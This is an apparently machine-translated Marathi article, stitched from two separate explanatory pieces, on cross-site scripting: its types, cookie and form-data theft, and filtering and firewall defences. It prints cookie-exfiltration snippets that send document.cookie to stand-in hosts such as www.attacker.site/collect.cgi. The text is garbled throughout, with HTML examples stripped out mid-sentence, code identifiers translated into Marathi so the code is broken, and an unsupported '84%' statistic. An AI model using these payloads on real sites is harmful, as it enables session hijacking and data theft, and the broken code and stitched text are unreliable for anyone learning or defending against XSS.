xss हल्ला म्हणजे काय. XSS भेद्यता काय आहे

जावा स्क्रिप्ट वापरून क्रॉस-साइट स्क्रिप्टिंग हा सर्वात लोकप्रिय प्रकारचा हल्ला आहे. या लेखात, आम्ही तुम्हाला जावा स्क्रिप्टच्या वापरामुळे काय त्रास होतो आणि XSS हल्ल्यांपासून स्वतःचे संरक्षण कसे करावे याबद्दल सांगू.

XSS हल्ला म्हणजे काय?

XSS हा इंटरनेट संसाधनांच्या वापरकर्त्यांवर हल्ला करण्याचा एक प्रकार आहे, ज्याचा उद्देश प्रशासकीय भागामध्ये प्रवेश मिळविण्यासाठी साइट प्रशासकांच्या प्रमाणीकरण डेटाची चोरी करणे आहे, इतर वापरकर्ते ज्यांना संसाधनाच्या खाजगी भागांमध्ये वैयक्तिकरित्या प्रवेश करण्याची क्षमता आहे. .

हे हल्ले केवळ साइट हॅक करण्याच्या उद्देशानेच नव्हे तर अपहरणासाठी देखील केले जाऊ शकतात:

  • तृतीय-पक्ष संसाधनांमध्ये प्रवेश करण्यासाठी क्रेडेन्शियल;
  • बँक कार्ड क्रमांक;
  • इलेक्ट्रॉनिक वॉलेटमध्ये प्रवेशासाठी डेटा;
  • संपर्काची माहिती;
  • इतर वापरकर्ता संवेदनशील डेटा.
XSS हल्ला वेक्टर

या प्रकारच्या हल्ल्याला दोन दिशा आहेत:

सक्रिय - आक्रमणाचा एक प्रकार जेव्हा एखादा हल्लेखोर इंटरनेट संसाधनाच्या फिल्टरमध्ये भेद्यता शोधण्याचा प्रयत्न करतो. वर्ण आणि टॅग्जच्या विशिष्ट संयोजनाचा वापर करून, हॅकर एक विनंती तयार करतो की संसाधन समजते आणि कमांड कार्यान्वित करते. सुरक्षा प्रणालीमध्ये भेद्यता आढळल्यानंतर, दुर्भावनायुक्त कोड विनंतीमध्ये एम्बेड केला जातो, जो, उदाहरणार्थ, सर्व कुकीज हॅकरसाठी सोयीस्कर ठिकाणी फॉरवर्ड करेल.

निष्क्रिय - हल्ल्याच्या विषयाच्या हस्तक्षेपाचा समावेश करा. दुर्भावनायुक्त कोड लागू करण्यासाठी वापरकर्त्यास दुर्भावनायुक्त दुव्याचे अनुसरण करण्यास भाग पाडणे हा मुद्दा आहे. हे हल्ले अंमलात आणणे कठीण आहे कारण त्यांच्यासाठी आक्रमणकर्त्याला उत्कृष्ट तांत्रिक ज्ञान आणि मानसशास्त्राच्या क्षेत्रात चांगले ज्ञान असणे आवश्यक आहे.

सुरक्षा नियम

XSS हल्ल्याचा बळी होऊ नये म्हणून, तुम्ही खालील सुरक्षा नियमांचे पालन केले पाहिजे:

  • विकासकांसाठी मुख्य नियम म्हणजे कोणतेही फिल्टर वापरणे.
  • सर्व नेस्टेड रचना फिल्टर करा.
  • एनक्रिप्शन. फिल्टर तयार करताना, कोडिंग हल्ल्यांचा धोका लक्षात घ्या. असे बरेच एन्कोडर प्रोग्राम आहेत ज्याद्वारे आपण कोणत्याही प्रकारचे आक्रमण एनक्रिप्ट करू शकता जेणेकरून एक फिल्टर "पाहणार नाही". त्यामुळे विनंती कोड कार्यान्वित करण्यापूर्वी फिल्टरमध्ये डिक्रिप्शन लागू करा.
  • टॅग्जचा अर्ज. url, bb, img टॅगशी संबंधित एक असुरक्षा आहे ज्यामध्ये javacsript असलेल्या lowsrc आणि dynsrc सह अनेक पॅरामीटर्स आहेत. हे टॅग फिल्टर केले पाहिजेत. आपण आपल्या संसाधनावर प्रतिमा वापरत नसल्यास, नंतर त्या पूर्णपणे अक्षम करा.
  • वापरलेल्या फिल्टरमध्ये वर्णांचे विविध संयोजन विचारात घेणे आवश्यक आहे. त्यापैकी अधिक, चांगले.
  • निष्कर्ष

    आकडेवारीनुसार, 84% इंटरनेट संसाधने XSS हल्ल्यांपासून चांगले संरक्षित आहेत. इतर 16% त्यांचा प्रभावीपणे प्रतिकार करू शकत नाहीत. या एकूण त्रुटीचे निराकरण करण्यासाठी साइट मालकांना सुरक्षिततेमध्ये अतिरिक्त गुंतवणूक करणे आवश्यक आहे, ज्यासाठी बहुतेक तयार नाहीत. तथापि, वैयक्तिक डेटाचे नुकसान, गळती आणि प्रकटीकरण यासंबंधीचे कायदे कडक केल्याने बेईमान मालकांना त्यांच्या साइटची सुरक्षा सुधारण्यास भाग पाडले जात आहे.

    क्रॉस-साइट स्क्रिप्टिंग (थोडक्यात XSS) ही अनेक वेब ऍप्लिकेशन्सना प्रभावित करणारी एक व्यापक भेद्यता आहे. हे आक्रमणकर्त्याला वेबसाइटमध्ये दुर्भावनापूर्ण कोड अशा प्रकारे इंजेक्ट करण्यास अनुमती देते की साइटला भेट देणाऱ्या वापरकर्त्याचा ब्राउझर हा कोड कार्यान्वित करतो.

    सामान्यतः, अशा असुरक्षिततेचे शोषण करण्यासाठी वापरकर्त्याशी काही प्रकारचे संवाद आवश्यक आहे: एकतर त्यांना सोशल इंजिनिअरिंगचा वापर करून संक्रमित साइटवर आकर्षित केले जाते किंवा वापरकर्ता स्वतः या साइटला भेट देईपर्यंत ते फक्त प्रतीक्षा करतात. त्यामुळे, विकासक अनेकदा XSS असुरक्षा गांभीर्याने घेत नाहीत.

    परंतु ते काढून टाकले नाही तर, यामुळे सुरक्षिततेला गंभीर धोका निर्माण होऊ शकतो.

    चला कल्पना करूया की आपण नवीन सामग्री जोडून वर्डप्रेस ऍडमिन पॅनेलमध्ये आहोत. हे करण्यासाठी आम्ही XSS-असुरक्षित प्लगइन वापरल्यास, ते ब्राउझरला नवीन प्रशासक तयार करण्यास, सामग्री सुधारित करण्यास आणि इतर दुर्भावनापूर्ण क्रिया करण्यास भाग पाडू शकते. क्रॉस-साइट स्क्रिप्टिंग आक्रमणकर्त्याला आजकालच्या सॉफ्टवेअरच्या सर्वात महत्त्वाच्या भागावर, ब्राउझरवर जवळजवळ पूर्ण नियंत्रण देते.

    XSS: इंजेक्शन भेद्यता

    कोणत्याही वेबसाइट किंवा ऍप्लिकेशनमध्ये एकाधिक डेटा एंट्री पॉइंट असतात - URL पर्यंत फील्ड फॉर्म. इनपुटचे सर्वात सोपे उदाहरण म्हणजे जेव्हा आपण फॉर्ममध्ये वापरकर्तानाव आणि संकेतशब्द प्रविष्ट करतो:

    आमच्याशी नंतरच्या संवादासाठी आमचे नाव साइट डेटाबेसमध्ये संग्रहित केले जाईल. निश्चितपणे, जेव्हा आपण कोणत्याही साइटवर अधिकृत होता तेव्हा आपण "स्वागत, इल्या" च्या शैलीमध्ये वैयक्तिक अभिवादन पाहिले.

    हे अशा हेतूंसाठी आहे की वापरकर्तानावे डेटाबेसमध्ये संग्रहित केली जातात.

    इंजेक्शन ही एक प्रक्रिया आहे जेव्हा नाव किंवा पासवर्डऐवजी वर्णांचा एक विशेष क्रम प्रविष्ट केला जातो, सर्व्हर किंवा ब्राउझरला आक्रमणकर्त्याला आवश्यक असलेल्या विशिष्ट प्रकारे प्रतिसाद देण्यास भाग पाडते.

    क्रॉस-साइट स्क्रिप्टिंग हे एक इंजेक्शन आहे जे कोड इंजेक्ट करते जे वेबसाइटच्या वतीने ब्राउझरमध्ये क्रिया करेल. हे वापरकर्त्याच्या सूचनेसह आणि पार्श्वभूमीत, त्याच्या माहितीशिवाय होऊ शकते.

    पारंपारिक XSS हल्ले: परावर्तित (नॉन-पर्सिस्टंट).

    जेव्हा वापरकर्ता खास तयार केलेल्या लिंकवर क्लिक करतो तेव्हा परावर्तित XSS हल्ला ट्रिगर केला जातो.

    वेब क्लायंटद्वारे प्रदान केलेला डेटा, सामान्यतः HTTP विनंती पॅरामीटर्समध्ये किंवा HTML च्या स्वरूपात, त्या क्लायंटसाठी परिणाम पृष्ठ विश्लेषित करण्यासाठी आणि प्रदर्शित करण्यासाठी थेट सर्व्हर-साइड स्क्रिप्टद्वारे कार्यान्वित केला जातो तेव्हा या भेद्यता उद्भवतात, योग्य प्रक्रिया न करता.

    संग्रहित (कायम).

    संचयित XSS शक्य आहे जेव्हा आक्रमणकर्ता एखाद्या सर्व्हरमध्ये दुर्भावनापूर्ण कोड इंजेक्ट करण्यास व्यवस्थापित करतो जो प्रत्येक वेळी मूळ पृष्ठावर प्रवेश केल्यावर ब्राउझरमध्ये कार्यान्वित करतो. या भेद्यतेचे उत्कृष्ट उदाहरण हे मंच आहेत जे HTML स्वरूपनात टिप्पण्यांना अनुमती देतात.

    क्लायंट-साइड कोड (जावास्क्रिप्ट, व्हिज्युअल बेसिक, फ्लॅश, इ.) मुळे होणारी असुरक्षा: डीओएम म्हणूनही ओळखले जाते: परावर्तित (नॉन-पर्सिस्टंट).

    सर्व्हर साइडच्या बाबतीत सारखेच, केवळ या प्रकरणात ब्राउझरद्वारे कोडवर प्रक्रिया केल्यामुळे हल्ला शक्य आहे.

    संग्रहित (कायम).

    सर्व्हरच्या बाजूला संचयित केलेल्या XSS प्रमाणेच, केवळ या प्रकरणात दुर्भावनायुक्त घटक ब्राउझर संचयन वापरून क्लायंट बाजूला संग्रहित केला जातो.

    XSS भेद्यतेची उदाहरणे.

    विशेष म्हणजे, या असुरक्षिततेचे वर्णन केलेल्या बहुतेक प्रकरणांमध्ये, आम्ही खालील कोडसह घाबरतो:

    http://www.site.com/page.php?var=alert("xss");

    XSS असुरक्षा दोन प्रकारच्या आहेत - निष्क्रिय आणि सक्रिय.

    सक्रिय भेद्यताहे अधिक धोकादायक आहे, कारण आक्रमणकर्त्याला विशेष दुव्याद्वारे पीडितेला आमिष दाखवण्याची आवश्यकता नाही, त्याला डेटाबेस किंवा सर्व्हरवरील काही फाइलमध्ये कोड इंजेक्ट करणे पुरेसे आहे. अशा प्रकारे, सर्व साइट अभ्यागत आपोआप बळी होतात. हे समाकलित केले जाऊ शकते, उदाहरणार्थ, SQL इंजेक्शन (SQL इंजेक्शन). म्हणून, डाटाबेसमध्ये संग्रहित केलेल्या डेटावर तुम्ही विश्वास ठेवू नये, जरी ते समाविष्ट करताना प्रक्रिया केली गेली असली तरीही.

    उदाहरण निष्क्रिय असुरक्षालेखाच्या अगदी सुरुवातीला आढळू शकते. सामाजिक अभियांत्रिकी येथे आधीपासूनच आवश्यक आहे, उदाहरणार्थ, बॅकअपमधून पुनर्संचयित केल्यानंतर आपली खाते सेटिंग्ज तपासण्यासाठी विनंतीसह साइट प्रशासनाकडून एक महत्त्वाचे पत्र. त्यानुसार, तुम्हाला पीडितेचा पत्ता माहित असणे आवश्यक आहे किंवा फक्त स्पॅम मेलिंग लिस्ट किंवा काही फोरमवर पोस्ट करणे आवश्यक आहे आणि हे देखील तथ्य नाही की पीडिते भोळे असतील आणि तुमच्या लिंकचे अनुसरण करतील.

    शिवाय, POST आणि GET दोन्ही पॅरामीटर्स निष्क्रिय भेद्यतेच्या अधीन असू शकतात. POST पॅरामीटर्ससह, अर्थातच, तुम्हाला युक्त्या वापराव्या लागतील. उदाहरणार्थ, आक्रमणकर्त्याच्या साइटवरून पुनर्निर्देशन.

    document.getElementsByTagName("फॉर्म").सबमिट();

    म्हणून, GET भेद्यता थोडी अधिक धोकादायक आहे, कारण अतिरिक्त पॅरामीटरपेक्षा चुकीचे डोमेन लक्षात घेणे पीडितासाठी सोपे आहे (जरी url सामान्यतः एन्कोड केले जाऊ शकते).

    कुकीज चोरणे

    हे XSS हल्ल्याचे सर्वात सामान्यपणे उद्धृत केलेले उदाहरण आहे. साइट्स कधीकधी कुकीजमध्ये काही मौल्यवान माहिती संग्रहित करतात (कधीकधी वापरकर्त्याचे लॉगिन आणि पासवर्ड (किंवा त्याचा हॅश) देखील, परंतु सर्वात धोकादायक म्हणजे सक्रिय सत्राची चोरी आहे, म्हणून साइटवरील "एक्झिट" लिंकवर क्लिक करण्यास विसरू नका, जरी तो एक घरगुती संगणक आहे. सुदैवाने, बहुतेक संसाधनांवर, सत्राचा आजीवन मर्यादित आहे.

    वरिमग = नवीन प्रतिमा(); img.src = "http://site/xss.php?" +document.cookie;

    म्हणून, XMLHttpRequest वर डोमेन निर्बंध लागू केले गेले, परंतु आक्रमणकर्त्यासाठी हे भितीदायक नाही, कारण तेथे आहेत, , , पार्श्वभूमी:url(); आणि असेच.

    फॉर्ममधून डेटा चोरणे

    आम्ही फॉर्म शोधतो, उदाहरणार्थ, getElementById आणि ऑन सबमिट इव्हेंटचा मागोवा घेतो. आता, फॉर्म सबमिट करण्यापूर्वी, प्रविष्ट केलेला डेटा आक्रमणकर्त्याच्या सर्व्हरवर देखील पाठविला जातो.

    या प्रकारचा हल्ला काही प्रमाणात फिशिंगची आठवण करून देणारा आहे, परंतु ती बनावट साइट नाही जी वापरली जाते, परंतु वास्तविक आहे, ज्यामुळे पीडितामध्ये अधिक आत्मविश्वास निर्माण होतो.

    DDoS हल्ला (सेवा हल्ल्याचे वितरित नकार)

    उच्च भेट दिलेल्या स्त्रोतांवरील XSS भेद्यता DDoS हल्ला सुरू करण्यासाठी वापरली जाऊ शकते. सार सोपे आहे - अशा अनेक विनंत्या आहेत ज्यांचा हल्ला केलेला सर्व्हर सामना करू शकत नाही.
    वास्तविक, त्याचा XSS शी अप्रत्यक्ष संबंध आहे, कारण स्क्रिप्ट अजिबात वापरल्या जात नाहीत, फॉर्मचे बांधकाम पुरेसे आहे:

    XSS चा धोका काय आहे?

    तुम्ही तुमच्या साइटचे XSS पासून संरक्षण कसे करू शकता? असुरक्षिततेसाठी कोड कसा तपासायचा? सुकुरी फायरवॉल सारखे तंत्रज्ञान विशेषतः अशा प्रकारचे हल्ले टाळण्यासाठी डिझाइन केलेले आहे. परंतु जर तुम्ही विकसक असाल, तर तुम्हाला XSS भेद्यता कशी ओळखायची आणि त्यांचे निराकरण कसे करायचे याबद्दल अधिक जाणून घ्यायचे असेल.

    XSS ला समर्पित लेखाच्या पुढील भागात आपण याबद्दल बोलू.

    ओरी सेगल

    हॅकर्स क्रॉस-साइट स्क्रिप्टिंग हल्ले कसे वापरतात, ते काय नुकसान करतात (आणि ते काय करत नाहीत), त्यांना कसे ओळखायचे आणि या दुर्भावनापूर्ण गोपनीयता आणि सुरक्षा उल्लंघनांपासून आपल्या वेबसाइटचे आणि त्याच्या अभ्यागतांचे संरक्षण कसे करावे ते जाणून घ्या.

    क्रॉस-साइट स्क्रिप्टिंग (किंवा थोडक्यात XSS) हे सर्वात सामान्य ऍप्लिकेशन लेयर हल्ल्यांपैकी एक आहे जे हॅकर्स वेब ऍप्लिकेशन्स तोडण्यासाठी वापरतात. XSS हा एका विशिष्ट वेबसाइटच्या क्लायंटच्या माहितीच्या गोपनीयतेवर हल्ला आहे. जेव्हा ग्राहकांचा डेटा चोरीला जातो आणि नंतर कोणत्याही कारणासाठी वापरला जातो तेव्हा यामुळे सुरक्षा प्रणालीचा संपूर्ण नाश होऊ शकतो. बहुतेक हल्ल्यांमध्ये दोन पक्षांचा समावेश असतो: एकतर हल्लेखोर आणि वेबसाइट, किंवा हल्लेखोर आणि पीडित क्लायंट. तथापि, XSS हल्ल्यात तीन पक्ष सामील आहेत: आक्रमणकर्ता, क्लायंट आणि वेब साइट.

    XSS हल्ल्याचा उद्देश क्लायंटच्या संगणकावरून कुकीज किंवा इतर संवेदनशील माहिती चोरणे हा आहे जो वेब साइटवर क्लायंट ओळखू शकतो. कायदेशीर वापरकर्ता म्हणून ओळखण्यासाठी माहिती असणे, आक्रमणकर्ता साइटवर अशा वापरकर्त्याप्रमाणे कार्य करू शकतो, म्हणजे. असल्याचे ढोंग करणे. उदाहरणार्थ, एका मोठ्या कंपनीत केलेल्या ऑडिटमध्ये, XSS हल्ला वापरून वापरकर्त्याची खाजगी माहिती आणि क्रेडिट कार्ड नंबर मिळवणे शक्य होते. सानुकूल JavaScript कोड चालवून हे साध्य झाले. हा कोड पीडिताच्या (क्लायंटच्या) ब्राउझरमध्ये चालवला गेला होता, ज्याला वेब साइटवर प्रवेश करण्याचे विशेषाधिकार होते. खूप मर्यादित JavaScript विशेषाधिकार आहेत जे स्क्रिप्टला साइट-विशिष्ट माहितीशिवाय इतर कशावरही प्रवेश देत नाहीत. हे महत्व देणे महत्वाचे आहे की वेब साईट मध्ये असुरक्षा अस्तित्वात असली तरी वेब साईट स्वतःच थेट प्रभावित होत नाही. परंतु स्क्रिप्टसाठी कुकीज गोळा करण्यासाठी आणि आक्रमणकर्त्याला पाठवण्यासाठी हे पुरेसे आहे. परिणामी, हल्लेखोर आवश्यक डेटा प्राप्त करतो आणि पीडितेचे अनुकरण करू शकतो.

    हल्ला झालेल्या साइटला खालीलप्रमाणे नाव देऊ या: www.vulnerable.site. पारंपारिक XSS हल्ला असुरक्षित साइटवर राहणाऱ्या असुरक्षित स्क्रिप्टवर आधारित असतो. ही स्क्रिप्ट HTTP विनंतीचा भाग वाचते (सामान्यत: पॅरामीटर्स, परंतु काहीवेळा HTTP शीर्षलेख किंवा पथ देखील) आणि प्रतिसाद पृष्ठासाठी, संपूर्ण किंवा अंशतः पुनरावृत्ती करते. हे विनंती साफ करत नाही (म्हणजे, विनंतीमध्ये JavaScript कोड किंवा HTML टॅग नाहीत हे तपासत नाही). या स्क्रिप्टला welcome.cgi असे म्हणतात आणि त्याचे नाव पॅरामीटर आहे असे गृहीत धरू. हे असे वापरले जाऊ शकते:

    याचा गैरवापर कसा होऊ शकतो? हल्लेखोराने क्लायंटला (पीडित) हल्लेखोराने दिलेल्या दुव्यावर क्लिक करण्यास प्रलोभन देण्यास सक्षम असणे आवश्यक आहे. ही एक काळजीपूर्वक आणि दुर्भावनापूर्णपणे तयार केलेली लिंक आहे ज्यामुळे पीडिताच्या वेब ब्राउझरला वेबसाइट (www.vulnerable.site) ऍक्सेस करता येते आणि असुरक्षित स्क्रिप्ट कार्यान्वित होते. या स्क्रिप्टच्या डेटामध्ये JavaScript कोड आहे जो www.vulnerable.site साठी क्लायंटच्या ब्राउझरद्वारे संचयित केलेल्या कुकीजमध्ये प्रवेश करतो. याला अनुमती आहे कारण क्लायंटच्या ब्राउझरला JavaScript कोड www.vulnerable.site वरून येत आहे असे वाटते. आणि JavaScript सुरक्षा मॉडेल विशिष्ट साइटवरून उद्भवलेल्या स्क्रिप्टला त्या साइटशी संबंधित असलेल्या कुकीजमध्ये प्रवेश करण्यास अनुमती देते.

    असुरक्षित साइटचा प्रतिसाद खालीलप्रमाणे असेल:

    स्वागत आहे! हाय अलर्ट (document.cookie)

    आमच्या सिस्टममध्ये आपले स्वागत आहे...

    पीडित क्लायंटचा ब्राउझर JavaScript कोडचा एक भाग असलेले HTML पृष्ठ म्हणून या विनंतीचा अर्थ लावतो. हा कोड, अंमलात आणल्यावर, www.vulnerable.site च्या मालकीच्या सर्व कुकीजमध्ये प्रवेश असेल. त्यामुळे, यामुळे www.vulnerable.site शी संबंधित असलेल्या सर्व क्लायंट कुकीज दर्शविणारा ब्राउझर पॉपअप होईल.

    अर्थात, वास्तविक हल्ल्यामध्ये या फायली हल्लेखोराला पाठवणे समाविष्ट असते. हे करण्यासाठी, आक्रमणकर्ता एक वेब साइट (www.attacker.site) तयार करू शकतो आणि कुकीज मिळविण्यासाठी स्क्रिप्ट वापरू शकतो. पॉप-अप विंडो सुरू करण्याऐवजी, आक्रमणकर्ता www.attacker.site वर URL मध्ये प्रवेश करणारा कोड लिहितो. या संदर्भात, कुकीज प्राप्त करण्यासाठी स्क्रिप्ट कार्यान्वित केली जाते. या स्क्रिप्टसाठी पॅरामीटर चोरी केलेल्या कुकीज आहे. अशा प्रकारे, आक्रमणकर्ता www.attacker.site सर्व्हरवरून कुकीज मिळवू शकतो.

    हे पृष्ठ लोड केल्यावर लगेच, ब्राउझर तेथे घातलेला JavaScript कोड कार्यान्वित करेल आणि www.attacker.site वरील collect.cgi स्क्रिप्टवर विनंती पाठवेल आणि www.vulnerable.site वरील कुकीजच्या मूल्यासह जे ब्राउझरमध्ये आधीपासून आहेत. . हे क्लायंटकडे असलेल्या www.vulnerable.site कुकीजच्या सुरक्षिततेशी तडजोड करते. हे हल्लेखोर बळी असल्याचे भासवू देते. क्लायंटच्या गोपनीयतेचे पूर्णपणे उल्लंघन झाले आहे.

    नोंद.
    XSS हल्ल्यासाठी साइटची असुरक्षा दाखवण्यासाठी JavaScript सह पॉपअप मागवणे सहसा पुरेसे असते. JavaScript वरून अलर्ट फंक्शनला कॉल करणे शक्य असल्यास, कॉल अयशस्वी होण्याचे कोणतेही कारण नाही. म्हणूनच XSS हल्ल्यांची बहुतेक उदाहरणे अॅलर्ट फंक्शन वापरतात, ज्यामुळे हल्ल्याचे यश निश्चित करणे खूप सोपे होते.

    हल्ला फक्त पीडिताच्या ब्राउझरमध्ये होऊ शकतो, जो साइटवर प्रवेश करण्यासाठी वापरला जातो (www.vulnerable.site). आक्रमणकर्त्याने क्लायंटला दुर्भावनायुक्त दुव्यावर प्रवेश करण्यास भाग पाडले पाहिजे. हे अनेक प्रकारे साध्य करता येते.

    • हल्लेखोर HTML पृष्ठ असलेला ईमेल पाठवतो ज्यामुळे ब्राउझर लिंक उघडतो. यासाठी पीडितेने HTML-सक्षम ईमेल क्लायंट वापरणे आवश्यक आहे. आणि क्लायंटवरील HTML दर्शक समान ब्राउझर असणे आवश्यक आहे जो www.vulnerable.site मध्ये प्रवेश करण्यासाठी वापरला जातो.
    • क्लायंट एखाद्या साइटला भेट देतो, शक्यतो आक्रमणकर्त्याने तयार केला आहे, जिथे इमेज किंवा इतर सक्रिय HTML घटकाची लिंक ब्राउझरला लिंक उघडण्यास कारणीभूत ठरते. पुन्हा, या प्रकरणात, ही साइट आणि www.vulnerable.site दोन्ही एकाच ब्राउझरचा वापर करून प्रवेश करणे अत्यावश्यक आहे.

    दुर्भावनापूर्ण JavaScript कोड खालीलपैकी कोणत्याही माहितीमध्ये प्रवेश करू शकतो:

    • पर्सिस्टंट कुकीज (www.vulnerable.site) ज्या ब्राउझर सेव्ह करतात;
    • इन-मेमरी कुकीज (www.vulnerable.site), ज्यांना फक्त www.vulnerable.site ब्राउझ करताना ब्राउझर उदाहरणाद्वारे समर्थन दिले जाते;
    • इतर विंडोची नावे www.vulnerable.site साठी उघडतात.
    • सध्याच्या DOM द्वारे उपलब्ध असलेली कोणतीही माहिती (मूल्ये, HTML कोड इ. पासून).

    ओळख, अधिकृतता आणि प्रमाणीकरणासाठीचा डेटा सहसा कुकीजच्या स्वरूपात संग्रहित केला जातो. या कुकीज कायम राहिल्यास, पीडित व्यक्ती www.vulnerable.site मध्ये प्रवेश करताना ब्राउझर वापरत नसली तरीही आक्रमणास असुरक्षित असते. तथापि, जर कुकीज तात्पुरत्या असतील (उदाहरणार्थ, त्या RAM मध्ये संग्रहित केल्या आहेत), तर www.vulnerable.site सह क्लायंट-साइड सत्र असणे आवश्यक आहे.

    ओळख लेबलची आणखी एक संभाव्य अंमलबजावणी म्हणजे URL पॅरामीटर. अशा प्रकरणांमध्ये, तुम्ही जावास्क्रिप्ट वापरून इतर विंडोमध्ये प्रवेश करू शकता (इच्छित URL पॅरामीटर्ससह पृष्ठाचे नाव foobar आहे असे गृहीत धरून):

    var बळी_विंडो=ओपन(","फूबार");सूचना("प्रवेश करू शकता:

    "+victim_window.location.search)

    JavaScript स्क्रिप्ट चालवण्यासाठी, तुम्ही व्यतिरिक्त अनेक HTML टॅग वापरू शकता. खरं तर, दुर्भावनापूर्ण JavaScript कोड दुसर्‍या सर्व्हरवर ठेवणे आणि नंतर क्लायंटला स्क्रिप्ट डाउनलोड करण्यास आणि ते कार्यान्वित करण्यास भाग पाडणे देखील शक्य आहे. जर तुम्हाला मोठ्या प्रमाणात कोड चालवायचा असेल किंवा कोडमध्ये विशेष वर्ण असतील तर हे उपयुक्त ठरू शकते.

    या शक्यतांच्या काही भिन्नता येथे आहेत.

    • त्याऐवजी ..., हॅकर्स कन्स्ट्रक्ट वापरू शकतात. हे HTML टॅग फिल्टर करणाऱ्या साइटसाठी योग्य आहे.
    • त्याऐवजी ..., तुम्ही बांधकाम वापरू शकता. JavaScript कोड खूप मोठा आहे किंवा त्यात बेकायदेशीर वर्ण असल्यास हे चांगले आहे.

    कधीकधी प्रतिसाद पृष्ठामध्ये एम्बेड केलेला डेटा सशुल्क HTML संदर्भात असतो. या प्रकरणात, तुम्हाला प्रथम मुक्त संदर्भाकडे "पलायन" करणे आवश्यक आहे आणि नंतर XSS हल्ला करणे आवश्यक आहे. उदाहरणार्थ, HTML फॉर्म फील्डसाठी डीफॉल्ट मूल्य म्हणून डेटा घातला असल्यास:

    आणि परिणामी HTML कोड खालीलप्रमाणे असेल:

    विंडो उघडा

    ("http://www.attacker.site/collect.cgi?cookie="+document.cookie)">

    आतापर्यंत, आम्ही पाहिले आहे की स्क्रिप्ट प्रतिसाद देत असलेल्या GET विनंती पॅरामीटरमध्ये XSS हल्ला होऊ शकतो. परंतु POST विनंती वापरून किंवा HTTP विनंती पथ घटक वापरून हल्ला करणे आणि काही HTTP शीर्षलेख (उदाहरणार्थ, संदर्भ) वापरणे देखील शक्य आहे.

    विशेषतः, जेव्हा एरर पेज अवैध मार्ग दाखवते तेव्हा पथ घटक उपयुक्त ठरतो. या प्रकरणात, मार्गामध्ये दुर्भावनापूर्ण स्क्रिप्टचा समावेश केल्याने अनेकदा त्याची अंमलबजावणी होते. अनेक वेब सर्व्हर या हल्ल्यासाठी असुरक्षित आहेत.

    हे समजून घेणे महत्त्वाचे आहे की या हल्ल्यामुळे वेबसाइटवर थेट परिणाम होत नसला तरी (ती सामान्यपणे कार्य करत राहते, त्यावर कोणताही दुर्भावनापूर्ण कोड कार्यान्वित केला जात नाही, DoS हल्ला होत नाही आणि साइटवरील डेटा थेट वाचला किंवा छेडछाड केला जात नाही. सह), साइटने ग्राहकांना किंवा अभ्यागतांना ऑफर केलेल्या सुरक्षा व्यवस्थेचा तो अजूनही उल्लंघन आहे. हे कमकुवत सुरक्षा लेबलांसह अनुप्रयोग तैनात करण्यासाठी वापरल्या जाणार्‍या साइटसारखे आहे. यामुळे, आक्रमणकर्ता क्लायंटच्या सुरक्षा लेबलचा अंदाज लावू शकतो आणि तो (किंवा तिचा) असल्याचे भासवू शकतो.

    ऍप्लिकेशनमधील कमकुवत बिंदू स्क्रिप्ट आहे, जे त्याचे मूल्य विचारात न घेता त्याचे पॅरामीटर परत करते. चांगल्या स्क्रिप्टने हे सुनिश्चित केले पाहिजे की पॅरामीटर योग्य फॉरमॅटमध्ये आहे, त्यात वैध वर्ण आहेत आणि असेच. वैध पॅरामीटरमध्ये HTML टॅग किंवा JavaScript कोड असण्याचे सहसा कोणतेही कारण नसते. प्रतिसादात एम्बेड करण्यापूर्वी किंवा अॅप्लिकेशनमध्ये वापरण्यापूर्वी ते पॅरामीटरमधून काढले जाणे आवश्यक आहे. हे सुरक्षितता सुनिश्चित करेल.

    XSS हल्ल्यांपासून तुमची साइट सुरक्षित करण्याचे तीन मार्ग आहेत.

  • तुमचे स्वतःचे इनपुट फिल्टरिंग करून (कधीकधी इनपुट स्वच्छता म्हटले जाते). प्रत्येक वापरकर्ता इनपुटसाठी (ते पॅरामीटर किंवा एचटीएमएल हेडर असो), प्रत्येक स्वत: लिखित स्क्रिप्टने JavaScript कोडसह HTML टॅगसाठी प्रगत फिल्टरिंगचा वापर केला पाहिजे. उदाहरणार्थ, मागील उदाहरणातील welcome.cgi स्क्रिप्टने नाव पॅरामीटर डीकोड केल्यानंतर टॅग फिल्टर केला पाहिजे. या पद्धतीमध्ये अनेक गंभीर तोटे आहेत.
    • यासाठी अॅप्लिकेशन प्रोग्रामरला सुरक्षा तंत्रज्ञानाचे चांगले ज्ञान असणे आवश्यक आहे.
    • यासाठी प्रोग्रामरने सर्व संभाव्य इनपुट स्रोत (विनंती पॅरामीटर्स, POST विनंती बॉडी पॅरामीटर्स, HTTP शीर्षलेख) कव्हर करणे आवश्यक आहे.
    • हे तृतीय पक्ष स्क्रिप्ट किंवा सर्व्हरमधील भेद्यतेपासून संरक्षण करू शकत नाही. उदाहरणार्थ, ते वेब सर्व्हरवरील त्रुटी पृष्ठांमधील समस्यांपासून संरक्षण करणार नाही (जे स्त्रोत मार्ग प्रदर्शित करतात).
  • "आउटपुट फिल्टरिंग" करत आहे, उदा. वापरकर्ता डेटा जेव्हा ब्राउझरला परत पाठवला जातो तेव्हा फिल्टर करणे, स्क्रिप्ट प्राप्त झाल्यावर नाही. या दृष्टिकोनाचे एक चांगले उदाहरण एक स्क्रिप्ट असेल जी डेटाबेसमध्ये डेटा समाविष्ट करते आणि नंतर ते प्रदर्शित करते. या प्रकरणात, मूळ इनपुट स्ट्रिंगवर नाही तर केवळ आउटपुट आवृत्तीवर फिल्टर लागू करणे महत्त्वाचे आहे. या पद्धतीचे तोटे इनपुट फिल्टरिंगच्या तोट्यांसारखेच आहेत.
  • तृतीय-पक्ष अनुप्रयोग फायरवॉल (फायरवॉल) स्थापित करा. हे शील्ड वेब सर्व्हर आणि असुरक्षित स्क्रिप्टवर पोहोचण्यापूर्वी XSS हल्ले रोखते आणि अवरोधित करते. ऍप्लिकेशन फायरवॉल सर्व इनपुट पद्धतींना सामान्य पद्धतीने (HTTP पथ आणि शीर्षलेखांसह) गुंडाळू शकतात, स्क्रिप्ट किंवा मूळ ऍप्लिकेशन, तृतीय पक्ष स्क्रिप्ट, किंवा कोणत्याही संसाधनांचे वर्णन न करणारी स्क्रिप्ट विचारात न घेता (उदाहरणार्थ, डिझाइन केलेले सर्व्हरवरून 404 प्रतिसाद पृष्ठाला उत्तेजन देण्यासाठी). प्रत्येक इनपुट स्त्रोतासाठी, अॅप्लिकेशन फायरवॉल HTML टॅग आणि JavaScript कोडच्या विविध नमुन्यांसाठी इनपुटची तपासणी करते. काही जुळण्या असल्यास, विनंती अवरोधित केली जाते आणि दुर्भावनापूर्ण डेटा सर्व्हरपर्यंत पोहोचत नाही.
